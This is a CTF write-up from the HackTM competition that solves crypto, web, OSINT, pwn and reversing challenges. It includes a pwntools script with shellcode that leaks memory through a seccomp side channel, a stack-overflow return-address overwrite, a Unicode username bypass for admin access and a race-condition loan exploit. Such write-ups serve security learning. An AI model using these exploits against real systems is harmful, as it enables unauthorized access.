I participated in HackTM with team DiceGang. Here are the writeups for the challenges that we solved.
We are given a public key and an encrypted flag, which seems to be encrypted character by character. Using the provided public key we encrypt every possible character (0...255) and substitute each value in the encrypted flag with the corresponding character. Solve script:
# pk = public key
# ef = encrypted flag
e,n = pk
lookup = []
for i in range(256):
lookup.append(pow(i,e,n))
flag = ""
for i in ef:
flag += chr(lookup.index(i))
print(flag)
This gives us the flag:
HackTM{why_ar3_MY_pR1va7es_pu8l1C_??}
We are again given a flag which has been encrypted character by character, but this time we don't get the public key. This prevents us from encrypting each possible character ourselves. However, the system still boils down to a substitution cipher. Since the flag is over a thousand characters long, we were able to use frequency analysis. The following script converts C
, which is the list of ciphertext integers, into dummy characters.
C = [...]
table = dict()
current = 0
for c in C:
if c not in table:
table[c] = chr(ord('a') + current)
current += 1
cipher = ''.join(map(lambda x: table[x], C))
print(cipher)
We plugged the output into quipqiup for preliminary analysis. We could make out that the fifth character was a space, and replaced all occurrences of it accordingly. Plugging that into quipqiup was sufficient for reading the flag.
This is a standard use case for segment treess. Basically we use lazy propagation to amortize the cost of range additions and only compute each element's value at the end.
from tqdm import tqdm
import leonLPST
tree = leonLPST.LPSTree(10**7, modulo=10)
with open('Given_File.txt') as f:
for line in tqdm(f.readlines()):
a, b, c = [int(x) for x in line.strip().split(' ')]
if a != b:
tree.add(a, b, c)
print('done!')
thing = [tree[x] for x in tqdm(xrange(tree.n))]
product = 1
for x in tqdm(thing):
if x > 0:
product *= x
product %= 999999937
print(product)
The provided source code was very confusing since p
and q
were never defined, but then p
was defined later ???
The keys looked pretty big but apparently they were "bad keys" and there were a lot of them so we guessed that there was probably some common factor attack or something. Script for finding common factors below:
from pwn import *
from fractions import gcd
conn = remote('138.68.67.161',60005)
conn2 = remote('138.68.67.161',60005)
for i in range(10):
conn.sendline('k')
conn2.sendline('k')
a = eval(conn.recvline_contains('((65537'))[0][1]
b = eval(conn2.recvline_contains('((65537'))[0][1]
x = gcd(a,b)
print(x)
After running this program for a bit, we get the following values:
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129864081
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129864747
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129864949
We can see that all of these primes differ by less than 1000
. Since the key for the flag was generated less than 10000
messages ago, we should only need to check 10^7
values before the first prime for a factor of n
. The script below bruteforces all possible numbers that one of the primes could be.
n = 2318553827267041599931064141028026591078453523755133761420994537426231546233197332557815088229590256567177621743082082713100922775483908922217521567861530205737139513575691852244362271068595653732088709994411183164926098663772268120044065766077197167667585331637038825079142327613226776540743407081106744519
p = 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
for i in range(10000000):
if n%(p-i)==0:
print(p-i)
break
Running this gives us that one of the primes is 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580128178823
.
From here it is trivial to get the flag through standard RSA decryption: HackTM{SanTa_ple@s3_TakE_mE_0ff_yOur_l1st_4f2d20ec18}
stupid crypto
We are given a program for encrypting and decrypting AES-256-CBC. We are also given an IV and a ciphertext. We're not directly given a key, but we do have a mysterious key.png
consisting of 59 symbols, 3 of which are blurred out and thus unreadable. Presumably this represents the key in some twisted way.
This seems terrible already, as we only have 59 symbols and we need 64 hex characters for an AES key. I would have given up on this challenge at this point but the remaining two crypto challenges were Cubeworld 1 and Cubeworld 2, and I definitely did not want to deal with those.
So I took a stab at deciphering this image. We notice that each readable symbol except for the loopy thing consists of a top portion with at most 3
roughly horizontal lines, and a bottom portion wth at most 4
roughly vertical lines. We can assume that the loopy thing probably represents some sort of placeholder for the symbol with 0
lines.
If we assume that the top portion consists of anywhere from 0
to 3
lines and the bottom portion consists of anywhere from 0
to 4
lines, we can encode 4*5=20
possible symbols (base 20??). A quick calculation in Wolfram|Alpha tells us that 20^59
is approximately equal to 16^64
, so it is possible to encode a key of 64 hex digits with this image without losing information.
We plan to turn the image into a key by converting each symbol into a base 20 digit and converting that to base 16. We figure that each horizontal line probably represents 5 since there are at most 4 vertical lines.
There are 3 unknown symbols, but that's fine since we can just bruteforce all 8000 possibilities. Script is below.
from Crypto.Cipher import AES
c = '059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')
a = "34 03 20 30 02 ?? 31 31 33 22 34 11 34 22 13 ?? 10 13 32 33 33 10 14 03 21 20 01 20 20 00 20 ?? 00 13 33 20 00 30 33 10 33 24 34 01 01 00 04 11 30 04 21 31 20 13 24 10 23 31 14".split(" ")
s = 0
for i in a:
s*=20
if i!="??":
s+=int(i,5)
for x in range(20):
for y in range(20):
for z in range(20):
k = s
k+=x*pow(20,27)
k+=y*pow(20,43)
k+=z*pow(20,53)
key = hex(k)[2:].rstrip('L').zfill(64).decode('hex')
aes = AES.new(key,AES.MODE_CBC, iv)
a = aes.decrypt(c)
if all(ord(i)<128 for i in a):
print a
The output of this program is HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??}000000000000000000000000
, giving us the flag: HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??}
We are given a PCAP file. Opening the file in Wireshark, we see that it contains numerous USB packets. We figure that it's probably a keyboard capture since that's a common thing in CTFs. We use the following script to extract keyboard inputs:
from __future__ import print_function
import json
with open("dissections.json") as f:
data = json.load(f)
m = {
0:"",2:"PostFail",4:"a",5:"b",6:"c",7:"d",8:"e",9:"f",10:"g",11:"h",12:"i",13:"j",14:"k",15:"l",16:"m",17:"n",18:"o",19:"p",20:"q",21:"r",22:"s",23:"t",24:"u",25:"v",26:"w",27:"x",28:"y",29:"z",30:"1",31:"2",32:"3",33:"4",34:"5",35:"6",36:"7",37:"8",38:"9",39:"0",40:"\n",41:"esc",42:"del",43:"\t",44:" ",45:"-",47:"[",48:"]",56:"/",57:"CapsLock",79:"RightArrow",80:"LeftArrow"
}
M = {
0:"",2:"PostFail",4:"A",5:"B",6:"C",7:"D",8:"E",9:"F",10:"G",11:"H",12:"I",13:"J",14:"K",15:"L",16:"M",17:"N",18:"O",19:"P",20:"Q",21:"R",22:"S",23:"T",24:"U",25:"V",26:"W",27:"X",28:"Y",29:"Z",30:"!",31:"@",32:"#",33:"$",34:"%",35:"^",36:"&",37:"*",38:"(",39:")",40:"\n",41:"ESC",42:"DEL",43:"\t",44:" ",45:"_",47:"{",48:"}",56:"?",57:"CapsLock",79:"RightArrow",80:"LeftArrow"
}
g = 0
for i in data:
if "usb.capdata" in i["_source"]["layers"]:
a = map(lambda x:int(x,16),i["_source"]["layers"]["usb.capdata"].split(":"))
if len(a)==8:
if a[0]: print(M[a[2]],end="")
else: print(m[a[2]],end="")
g+=1
This outputs
7vgj4SSL9NHVuK0D6d3F
with a newline at the end. This is probably a password to something.
We also look for anything that may contain the flag. Using the display filter frame matches "flag"
, we get one result at packet 1224.
This turns out to be a zip file. When we try to extract it, we are prompted for a password, so we enter 7vgj4SSL9NHVuK0D6d3F
and it works. Opening Flag.txt
gives us the flag.
HackTM{88f1005c6b308c2713993af1218d8ad2ffaf3eb927a3f73dad3654dc1d00d4ae}
Just get rid of all the p
s.
Get 9e9
money, buy a level 5 sword, put it in storage, then sleep for -1
nights and slay the dragon.
Solve script. The whole "shifty" puzzle is actually just the loopover game that carykh made, so the solve script just implements the standard loopover method that speedrunners have been using. For stage 5 you just brute force every possible mapping and send a solution.
The F X 29
(sprite_addr) instruction simply sets I
to Vx * 5
. The spritesheet is only valid for values of Vx <= 0xf
however this instruction doesn't check the value. So we can obtain a value of I
inside the protected memory region and draw the bytes of the flag using the draw
command. After we draw it, we simply convert each row of 8 pixels to the corresponding byte value.
The built-in debugger shows the last executed instruction's two-byte hex code. So we can simply do a jump (1 NNN
) into protected memory, causing the interpreter to read that memory as an instruction and display it in the debugger.
Upon inspecting the source, we can see that /updateUser
uses toLowerCase
to check if your username matches the admin username, but the registration uses toUpperCase
to check if your username matches the admin username. Conveniently, U+212A
or K
is the standard ASCII k
when lowercased but not the standard ASCII K
when uppercased. So, we can register with the username hacKtm
and gain access to /updateUser
. We want to get the value n
from the config, but we can't simply set our additional rights to ["n"]
since n
is blacklisted. So, we abuse js type coercion and pass [["n"]]
instead. Then, we just make a request to /init
with p=n
and q=1
and we get a signed admin JWT token, with which we can make a request to /flag
.
When loaning money, it sends a post request to /
. We can simply recreate this request in a for loop 30 times in order to create a race condition and get more than the 600 dollar maximum loan. Then, we can just buy the flag.
A guy named Vlaicu Petronel
is mentioned in the problem statement. We perform a google search for this name and end up at his twitter, @PetronelVlaicu.
We go on a trip down the rabbit hole, stalking a mysterious man named VenaticalManx58
who is one of Vlaicu's followers on Twitter. He appears very suspicious. We waste lots of time on him.
We look back to the challenge for any other hints. The title looks interesting: OLD Times
. We figure this may be a reference to the Wayback Machine: we see 9 captures logged on 12/6 and 2 the day after; none at any other time. This isn't normal, so we figured it must be planned by the organizers.
Indeed, the captures reveal Petronel's deleted tweets. At one point he tweeted and deleted the following string: 1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20
. Later on he tweeted and then deleted I love Google G Suite services!
.
GSuite services are products like Google Docs, Slides, etc., so we figure that the 1Xhg
... string must be part of a Google Docs/etc URL since it doesn't appear to decode to anything useful.
Google's format for Docs/Slides https://docs.google.com/document/{service name}/{identifier}/edit
.
We try plugging the service name for Google Docs (d) and identifier in, and it gives us this document, containing us information about a suspicious guy named Iovescu Marian
.
In small text at the top, the report states that Iovescu goes by the name E4gl3OfFr3ed0m
online.
The report details that he published his work on a free and open platform
, but later deleted it. This seems to be hinting towards version control platforms like GitHub. Thus, we check GitHub for E4gl3OfFr3ed0m
's account, and we find one account. His status shows the Romanian flag along with the text, Beliver
, confirming that he is probably Iovescu.
Iovescu only has 1 repository, named resistance
. When we inspect it, we find README.md
and heart.jpg
. Inspecting the commit history reveals that E4gl3OfFr3ed0m
had a file named spread_locations.php
. The source will be useful later. We probe the files deeper. Upon inspection, README.md
actually has a commented link to a site, which we only found through viewing the raw markdown file.
This site returns a 403 error upon visiting it. However, we can use information we previously gathered and try to visit /spread_locations.php
. Voila, it doesn't return a 403!
When we look at the spread_locations.php
source from commit 7f284eee2c71cf993f8e217c48cbd47cf15ba923
, we see that it will return a location corresponding to a number that the user requests, if the number is between [0, 128]. Also there is a pretty glaringly obvious XSS attack on this but oh well, it won't matter in the long run when we track down who's trying to overthrow the communist government of Romania.
We can use the following script to extract all locations:
import requests
for i in range(129):
p = requests.get("http://138.68.67.161:55555/spread_locations.php?region="+str(i))
print(p.text.split(" ", 1)[1])
This will print out a list of coordinates. We assume they are longitude and latitude pairs. However, when we plug a sample coordinate in, we only see some Middle-Eastern men looking at a dysfunctional magic carpet. No luck.
Then, we attempt to plot them. This can be done by saving location markers in Google Maps, or even just graphing the points in Desmos.
The resulting plot will spell out the flag.
We see that a remote file (RULES.txt
) is read into memory and used as the argument to set seccomp
restrictions. Then we have the ability to enter 0xb
bytes of shellcode. From executing /bin/sh
it is clear that certain syscalls are restricted. Additionally, since we can see the Bad syscall
message, we know we have stderr
output.
The first step is to read more shellcode into the RWX
buffer:
push rax
pop rsi
xor edi,edi
xor eax,eax
syscall
I spent awhile trying various forms of ORW
shellcode with no success; specifically write
was no longer a valid syscall. Then I realized we can leak information by conditionally hitting a certain type of error. I created this read_bit primitive:
def read_bit(addr, bit, pre_code=''):
s = remote('138.68.67.161', 20001)
shellcode = binascii.unhexlify('505E31FF31C00F05')
s.sendline('Y\x00' + shellcode)
dump_mem = pre_code + '''
mov rsi, %d
mov al, byte ptr [rsi]
sar al, %d
and al, 0x1
jnz good
mov rax, 5
syscall
good:
int3
''' % (addr, bit)
s.sendline('a' * 10 + asm(dump_mem))
d = s.recvuntil('(core dumped)')
s.close()
if 'Trace' in d:
return 1
else:
return 0
Here we check a single bit and either perform a bad syscall or hit a trace breakpoint. I used this primitive to construct a read_byte
primitive and dumped the entire bpf
(RULES.txt
) into a file. Then I used seccomp-tools
to analyze the filter:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x08 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0004: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0011
0005: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0011
0006: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0012
0007: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0008: 0x15 0x00 0x02 0x00000003 if (A != 0x3) goto 0011
0009: 0x20 0x00 0x00 0x00000018 A = buf # read(fd, buf, count)
0010: 0x15 0x00 0x01 0x00602888 if (A != 0x602888) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
So now it is clear that we need to read from address 0x602888
. So we can use the following second stage shellcode to read the flag into memory:
mov rax, 0x7478
push rax
mov rax, 0x742e67616c662f6e
push rax
mov rax, 0x77702f656d6f682f
push rax
push rsp
pop rdi
mov rax, 2
syscall
mov rdi, rax
mov rsi, 0x602888
mov rax, 0
mov rdx, 64
syscall
Then we simply use the same side-channel leak as before to dump the flag memory.
This binary implements a 4x4 sliding puzzle. After some reversing we see that moves are internally represented as a value from 0 - 0xf
(16 possible moves). Additionally moves are saved in a stack buffer and we have the ability to list moves and undo moves.
The stack layout is as follows:
[moves (0x800)]
[move_counter]
[stack_cookie]
[...]
[saved rip]
We first overflow the move buffer onto the move counter and write a large nibble to obtain a value of 0x10f1
which allows us to read both the stack cookie and leak a libc address. Next we "undo" moves (decrement move_counter) until we are able to write a value on top of rip
. We can use a magic gadget here.
Now unfortunately, the only place we actually hit a ret
is when we solve the puzzle. So here I used my teammates algorithm from shifty to solve the puzzle (essentially appending junk bytes after rip
on the stack).
After observing the behaviour of the binary, we see that our input bytestream is compressed into a smaller stream. Furthermore, changing the first byte of our input changes the first bits in the output and changing the last bytes changes the last bits in the output.
So we can simply brute force a valid input byte by byte by greedily taking the current input that shares the longest prefix with our target output.
This binary takes a string input and outputs some ascii art. In the binary, we see the initial ascii art consists of a pattern with no W
's. Yet in our output, we see some of the M
's have been flipped to W
's. At this point, I guessed that the binary is encoding our input into this pattern.
I wrote a function to strip all characters except W
and M
and convert W
to 1
and M
to 0
. Then we notice that like baby bear, the first bytes affect only the first part of the output pattern. Therefore, we can simply do the same greedy approach and brute force the flag byte by byte.
This binary does some tricky things with signal handlers to obfuscate the control flow. To run it in gdb we need to do something like:
handle SIGSEGV noprint nostop pass
handle SIGALRM noprint nostop pass
We eventually find that fini_3
sets up a SIGSEGV
handler that acts as an unpacker. Essentially, this handler is triggered with information about the faulting instruction and it will decode part of the subsequent code and return execution.
In fini_2
we hit a faulting instruction and trigger the handler. This happens several more times recursively and during each call we check 8
bytes of our input. The first unpacked segment looks like:
0x7ffff7ff7000: mov rax,QWORD PTR ds:0x1337000
0x7ffff7ff7008: rol rax,0xe
0x7ffff7ff700c: movabs rdx,0xdc3126bd558bb7a5
0x7ffff7ff7016: xor rax,rdx
0x7ffff7ff7019: mov r8,QWORD PTR ds:0x1337080
0x7ffff7ff7021: cmp r8,0x0
0x7ffff7ff7025: jne 0x7ffff7ff7031
0x7ffff7ff7027: mov QWORD PTR ds:0x1337080,rax
0x7ffff7ff702f: jmp 0x7ffff7ff7051
0x7ffff7ff7031: cmp rax,QWORD PTR ds:0x1337080
0x7ffff7ff7039: mov bx,WORD PTR ds:0x1337064
0x7ffff7ff7041: mov ax,0x1
0x7ffff7ff7045: cmovne bx,ax
0x7ffff7ff7049: mov WORD PTR ds:0x1337064,bx
We can put all of these checks into the following, beautiful z3 script and get the flag:
from z3 import *
import binascii
s = Solver()
a = BitVec('a', 64)
b = BitVec('b', 64)
c = BitVec('c', 64)
d = BitVec('d', 64)
e = BitVec('e', 64)
f = BitVec('f', 64)
g = BitVec('g', 64)
i = BitVec('i', 64)
t = RotateLeft(a, 0xe) ^ 0xdc3126bd558bb7a5
s.add(b == RotateRight(t ^ 0x76085304e4b4ccd5, 0x28))
h = RotateLeft(b, 0x28) ^ 0x76085304e4b4ccd5
s.add(RotateLeft(c, 0x3e) ^ 0x1cb8213f560270a0 == h)
s.add(RotateLeft(d, 2) ^ 0x4ef5a9b4344c0672 == h)
s.add(e == RotateRight(h ^ 0xe28a714820758df7, 0x2d))
h = RotateLeft(e, 0x2d) ^ 0xe28a714820758df7
s.add(RotateLeft(f, 0x27) ^ 0xa0d78b57bae31402 == h)
v = 0x4474f2ed7223940
v = ((v << 0x35) | (v >> (64-0x35))) & 0xffffffffffffffff
s.add(RotateRight(v ^ g, 0x35) == h)
s.add(RotateRight(h^0xb18ceeb56b236b4b, 0x19) == i)
h = RotateLeft(i, 0x19) ^ 0xb18ceeb56b236b4b
s.add(Extract(7,0,a) == ord('H'))
s.add(Extract(15,8,a) == ord('a'))
s.add(Extract(23,16,a) == ord('c'))
s.add(Extract(31,24,a) == ord('k'))
s.add(Extract(39,32,a) == ord('T'))
s.add(Extract(47,40,a) == ord('M'))
s.add(Extract(55,48,a) == ord('{'))
s.add(Extract(63,56,a) == ord('P'))
def pp(t):
return binascii.unhexlify(hex(t)[2:].zfill(16))[::-1]
s.check()
m = s.model()
print(''.join([pp(m[x].as_long()) for x in [a,b,c,d,e,f,g,i]]))
We are given a rust binary that performs some translations using a word mapping. After some initial reversing, we see that we can enter the secret dex::extra
by patching our version number and entering 9
.
This function lets us enter up to six words (printing correct
or incorrect
each time) and then performs a sha256
hash followed by a decryption routine.
The checker portion calls dex::get_valid_words
which appears to return an empty hashmap. Then our input is validated with HashMap...contains_key
to check for inclusion. This step tripped me up for awhile because the hash map is always empty so we can never get a valid key. A while later the hint was released "The binary is still in development. The final version would have let you play boggle". This hint seems to indicate that dex::get_valid_words
is intentionally not implemented. Furthermore, we see that right before this, we initialize some sort of character matrix consisting of 3x3 or 3x4 letters.
After these six calls, we see that our inputs are concatenated together, hashed with sha256
and validated. This concatenation is used as the key to the decryption routine.
I took the english words in the wordlist and filtered each stage by which set of words could be constructed with the corresponding letter matrix and obtained six sets of words. Then I simply ran a brute force search to check for the target hash.
Once I had the correct words, I simply patched the binary to skip the contains_key
checks and entered the words to get the binary to print the flag.
The binary takes an 8-byte password and a 32-byte "secret". It does some operations and outputs a new 32-byte hexstring. I reversed the operation and noticed that it implements a sort of stack-based JIT-compiled language. There are 5 operations:
#<x> :: M[x:x+2] >>= (pass & 7) :: rotate two bytes at a time by the current password byte
<x> :: PUSH M[x] :: push M[x] to the stack
-<x> :: POP M[x] :: pop into M[x]
& :: MUT :: pop the top two values, mutate them with a scary crypto func, push them back
! :: EXEC :: execute the JIT function
Here <x>
represents an ascii character from 0x30
to 0x5b
which is converted to a value by subtracting 0x30
.
The first function simply sets the secret value to trupples
twitter account ;p
Then we enter our values and the routine is called 8 more times on 8 different programs. Each time, we preserve our 32-byte memory (M
) and the next byte of our password is used (which affects the rotate
and mut
operations).
To solve this, I wrote a solver script that symbolically executes all 8 functions back to back and uses z3 to solve for the initial secret/password conditions. We actually obtain several possible starting combinations so we also need to ensure the initial value starts with HackTM
to constrain the solver to the correct solution.